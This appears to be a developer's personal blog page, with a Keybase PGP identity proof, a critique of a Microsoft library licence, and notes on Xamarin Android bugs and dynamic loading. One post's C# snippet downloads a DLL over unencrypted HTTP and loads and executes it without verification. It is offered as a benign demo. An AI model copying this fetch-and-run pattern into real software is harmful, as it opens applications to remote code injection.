Version: 217, Address: 2WKLtfZgX59Z8U4FoK3HAED4iaTuhHLrQWV
Version: 218, Address: 2WigVefyonL21HVPtLTcUiLLWCyAe3793Hv
Version: 219, Address: 2X826dnH6VWUt6vXyMswoCTcHqURans3VbC
Version: 220, Address: 2XXMhctaPCgwkvMg4PJH7gat5TygXRGHNka
Version: 221, Address: 2XvhJbzsfusQdjnp9QicSAi9s6UwUDaHCTE
Version: 222, Address: 2YL2ub7Axd3sWZDxES8wkeqReizCQq5qeYS
Version: 223, Address: 2YjNWaDUFLELPNf6KTZH58xhSMVTMbuiQue
Version: 224, Address: 2Z8i7ZKmY3QoGC6EQUycPd5yDyziJGUP4yB
Version: 225, Address: 2ZY3iYS4pkbG91XNVWPwi7DF1cVyF1QSRQv
Version: 226, Address: 2ZwPKXYN7Tmj1pxWaXpH2bLWoF1EBjcvjdx
Version: 227, Address: 2aLivWefQAxBtePefZEcM5TnasWV8TZUAnk
Version: 228, Address: 2ak4XVkxgt8emTpnkaewfZb4NW1k58Y6soz
Version: 229, Address: 2b9Q8UsFybK7eHFvqc5Gz3iLA8X11qLGHho
Version: 230, Address: 2bYjjTyZGJVaX6h4vdVcJXqbwm2FxX3mXFt
Version: 231, Address: 2bx5LT5rZ1g3Pv8D1euwd1xsjPXWuJVAuAZ
Version: 232, Address: 2cMQwSC9qirWGjZM6gLGwW69X22mr23ajyL
Version: 233, Address: 2ckkYRJT8S2y9YzVBhkcFzDRJeY2nhTvtkr
Version: 234, Address: 2dA69QQkR9DS2NRdGjAwaULh6H3HjMykJZg
Version: 235, Address: 2dZRkPX3hrPtuBrmMkbGtxTxsuYYgAaFrXZ
Version: 236, Address: 2dxmMNdLzZaMn1HuSn1cDSbEfY3ocqKw2JE
Version: 237, Address: 2eN6xMjeHGkpepj3XoRwXviWTAZ4ZYzZUiZ
Version: 238, Address: 2emSZLqwZywHXeABcprGrQqnEo4KWDUtHZ8
Version: 239, Address: 2fAnAKxErh7kQTbKhrGcAty42RZaSyLdLhp
Version: 240, Address: 2fa7mK4Y9QJDHH2TnsgwVP6Kp44qPdoERF7
Version: 241, Address: 2fyTNJAqS7UgA6Tbsu7GosDbbga6LNxXpjp
Version: 242, Address: 2gNnyHH8ipf92utjxvXc8MLsPK5MH5Y2mh8
Version: 243, Address: 2gn8aGPS1XqbujKt3wwwSqU9AwacDmHzxwT
Version: 244, Address: 2hBUBFVjJF24nYm28yNGmKbQxa5sAaRbBRL
Version: 245, Address: 2haonEc2axCXfNCADznc5oigkCb87CsWT4q
Version: 246, Address: 2hz9PDiKsfNzYBdJK2CwQHqxXq6P3zvPiYL
Version: 247, Address: 2iPUzCpdANZTR14SQ3dGimyEKTbdzhc3wFX
Version: 248, Address: 2inpbBvvT5jvHpVaV53c3G6W766twP9Agiu
Version: 249, Address: 2jCACB3DjnvPAdvia6TwMkDmtic9t4jgUNN
Version: 250, Address: 2jbVoA9X2W6r3TMrf7tGgEM3gM7Qpkek3Bk
Version: 251, Address: 2jzqQ9FpKDHJvGnzk9JbziUKTycfmUfunZT
Version: 252, Address: 2kQB18N7bvTmo6E8qAiwKCbbFc7viDRKCkh
Version: 253, Address: 2koWc7UQtdeEfufGvC9Gdgis3EdBexf8fte
Version: 254, Address: 2mCrD6aiBLphYj6R1DZbxAr8ps8SbbVvNZX
Version: 255, Address: 2mcBp5h1U41ARYXZ6EywGeyQcVdhYP7dFob
Posted: 10/22/2014 3:40:57 AM

Cryptographic proofs

The following is signed:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512


I hereby claim:

1. I own earlz.net and lastyearswishes.com as the website and domain.
2. I am earlz (https://keybase.io/earlz) on keybase.
3. I have a public key whose fingerprint is C114 6A0D 6250 CAEA E3C7  5516 224E 8EA1 9223 B76D

And finally, I am proving ownership of this website by posting this here. 
-----BEGIN PGP SIGNATURE-----
Version: Keybase OpenPGP JS 0.0.1
Comment: https://keybase.io/crypto

wsFcBAABCgAGBQJTKK4+AAoJEAKXMK2l7Ra+Rh8QAIZ+zHPE1Py8+PMGSWb3+DHq
9enNKVSoUVdQXXeJLUEIZeEpbrsJckJ9E/zm45MfZb1b4eBxeuqmPB0JTYfIEW7S
31g9QpWctZjpuJtu84FXFbGIjO3rckJigLHdp/ER4ffq6N2F7V2YQ85elOCKX5+H
w/6mGj/Sv98LfYWgjsLzQdFfiUF1CNYLQqjZaDf6sIa3CKDBXhxJJxyY7Rn0ottL
WJoALvMnH2+IjU9E3mRNjLVZge/VKXsfbyNB/5I21Su7D15wBv6Wcy0/00jH51k9
9VG7+BD91FCmqaGGkEINH8J1ewCDZRnZ1d/1pPXXHojq5IuHVBeWQJIz+T5NunLu
QeSdNc1IFq85zSoELjA6aGa4aFAlPQKA5Gx271tVqI6ymQtdYNPqQUJEb0cc9S/Q
EBMr0qDbrgZw6W7xMVF2HsihWRAMYP/zILbW45cNaybpEqNz01qxqBycMrADpNSl
b6Z6sqv/DkOx1PlMjyh27oRpMn6wtD6fm70u/IENZado//U/7uaeWck5RRuM2R+c
lJD4uyavOTAdNOSq1fy3fNAyiqiMK7fcNwT5JtNporU3364JOMhqutCK84KZtUJ9
bDzX6qKLcakW8NCJDDeqCeyHStXAvui3MEHtsa5FS396oANoqSDvG31KUZas0DaK
h6hIuIcDa/ysVrGsTlOe
=SLD/
-----END PGP SIGNATURE-----

My publicly-auditable identity:

https://keybase.io/earlz

From the command line:

Consider the keybase command line program.

# look me up
keybase id earlz

# encrypt a message to me
keybase encrypt earlz -m 'a secret message...'

# ...and more...

Dogecoin address ownership verification

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

The Dogecoin address DTe6ymUDiTNaLEe4qBNyLzZyMUnEgLTRnT is owned by Earlz, who also owns earlz.net and has a publicly-auditable identity at https://keybase.io/earlz

Signature: IIiNwuV3rp5yhDo5WzPymlO7ARBHZj9J25eUDKflbg+WfsOozULFk+fptsxLj5G0jHG3+2Ww5SpkLIP6DNJZirM=
-----BEGIN PGP SIGNATURE-----
Version: Keybase OpenPGP JS 0.0.1
Comment: https://keybase.io/crypto

wsFcBAABCgAGBQJTKLBwAAoJEAKXMK2l7Ra+DfgP/ixBsxmlbIzYu4f0CpA+RqOO
aRshfnThj51JrQuK3HsDiCaTa/2D1+M3Z33tuDZyhSrKJuC82POoDNjOdrC5gB+o
n3XCTfz9ztmS3pffFQhvPGJpTG5azV+yKZrt9QdeLEoHYCdYWyyikaCD698zbryb
E3LAITyRdjLYOV//0EEPej9B1geOGK95XWs3I3XJhjrWbWKlVrwegNT+T5fuFVQr
T0UWfuvBBB+Hd/9f+civPwq2/t3Z44m2PRkiJVCXYQSB6MoorvCCYwh5BRkrhm51
xYItxGdRShHtUTb//tHbmvuwaD341vq8T1+KN3BgUU4Owb72zs877stEdznJW5bG
hHUCcenX0Y2GCXBqJq2H1MN5KRC6LNO31jB2W/+wUrhanEPOYSLyzU67zZ5vMFH+
vGZ+jutfhnouBYkLn1qHloARvrFI9i5cBZxlucVub0NJwqLKP/miDQCsNrf7DYMI
cpBy2PqQAGBe8S5HJxA5eO4+dR6P7cfwGw1ulqATVHG2ID1XaoaNcaiyRwXxPPFn
Gu3yH5FDdm5PSc/F7U5HLLVbnrL7fX56vFEuxcbCuanQbzYjT9wuvHjXS5Jt5Tvv
4tO0LLtTc/q/ao1xqsJ+aX/GzSaHovOqpOAuNBm5NquMDVVHX1YRQ03a2JqM8tuL
McwhRLHpsgHZJytmadJc
=I8VV
-----END PGP SIGNATURE-----
Posted: 3/18/2014 8:51:01 PM

Why I won't be using Microsoft.Bcl.Immutable package (despite much anticipation)

Looking at the newly released ImmutableCollection package, I see some confusing restrictions in it's licensing agreement (especially for something that must be redistributed with your application)

You may not ... work around any technical limitations in the software;

Does this mean it's illegal to use reflection to get at private bits of the library?

You may not ... use the software for commercial software hosting services.

This sounds quite scary. Does this mean I couldn't make a commercial website or SAS product using this library?

You may not ... modify or distribute the source code of any Distributable Code so that any part of it becomes subject to an Excluded License. An Excluded License is one that requires, as a condition of use, modification or distribution, that the code be disclosed or distributed in source code form; or others have the right to modify it.

Does this mean I can't use GPL licensed code with this library?

You may not ... distribute Distributable Code to run on a platform other than the Windows platform;

This looks rather obvious, but does this mean I couldn't make a website that ran on Mono and used this library, or does it only mean that I couldn't make something using Mono and then package the program and this library in a Linux debian package or something else? (ie, distribute, not just run)

This license worries me greatly about my ability to use this (much anticipated) library. These questions probably require a lawyer to fully resolve, and I'm not going to buy the time to ask one.. so, I just won't be using this library, as cool as it looks and as much as this has been anticipated for me.

Unless you have a legal team you can ask these questions, I wouldn't use this library either until Microsoft changes the license to something less hostile to developers

Also, if you want a version of this with a sane license, see the up and coming MIT-Licensed Project

Posted: 9/26/2013 4:18:27 PM

Xamarin Android... is awesome

So, I recently found that Xamarin Android completely allows dynamic loading of assemblies.. and everything somehow seems to work properly.

Purely awesome. Try it out yourself:

                var wc = new WebClient();
                var bytes = wc.DownloadData("http://earlz.net/static/xamx/reftest.dll");
                var asm = Assembly.Load(bytes);
                Type type = asm.GetType("DynamicAsm.DynClass");
                var obj = Activator.CreateInstance(type);
                var res = (string)type.InvokeMember("Test",
                                  BindingFlags.Default | BindingFlags.InvokeMethod,
                                  null,
                                  obj,
                                  new object[] { count++ });
                button.Text = string.Format(res);

Despite Xamarin Studio and most of the things around it being buggy, the actual APIs are rock solid and awesome.

Posted: 9/16/2013 2:35:17 AM

Crazy New Site Design

So, I've been working on some changes recently on my website and I finally decided to pull the trigger on releasing them. If you liked the old layout better or you see visual problems with this layout in your browser, feel free to tell me in the comments.

I think this is a good direction for the layout to be going, what with the new "flat everything" trend. I personally like it better because I have substantially reduced the amount of code in my style sheet.

Also, I feel like this design is a bit better at focusing on the content and not the layout. I know there are some rough edges here and there, but I'll be trying to improve it more as time goes by.

Posted: 9/2/2013 8:32:18 PM

Xamarin Android/Studio Bugs

Writing these down as I encounter them:

  1. If you have a .userprefs file, it will almost always freeze upon startup. Fix is to delete it
  2. Licensing is broken unless you're running as Xamarin Studio as an administrator
  3. If you have a space before the first tag(but after the ?xml bit) you'll get an exception thrown upon saving which appears to prevent saving...sometimes
  4. VI-mode is a long running joke. Instead of working, it just rickrolls you

All on Windows 8 64-bit

Posted: 8/6/2013 1:48:19 AM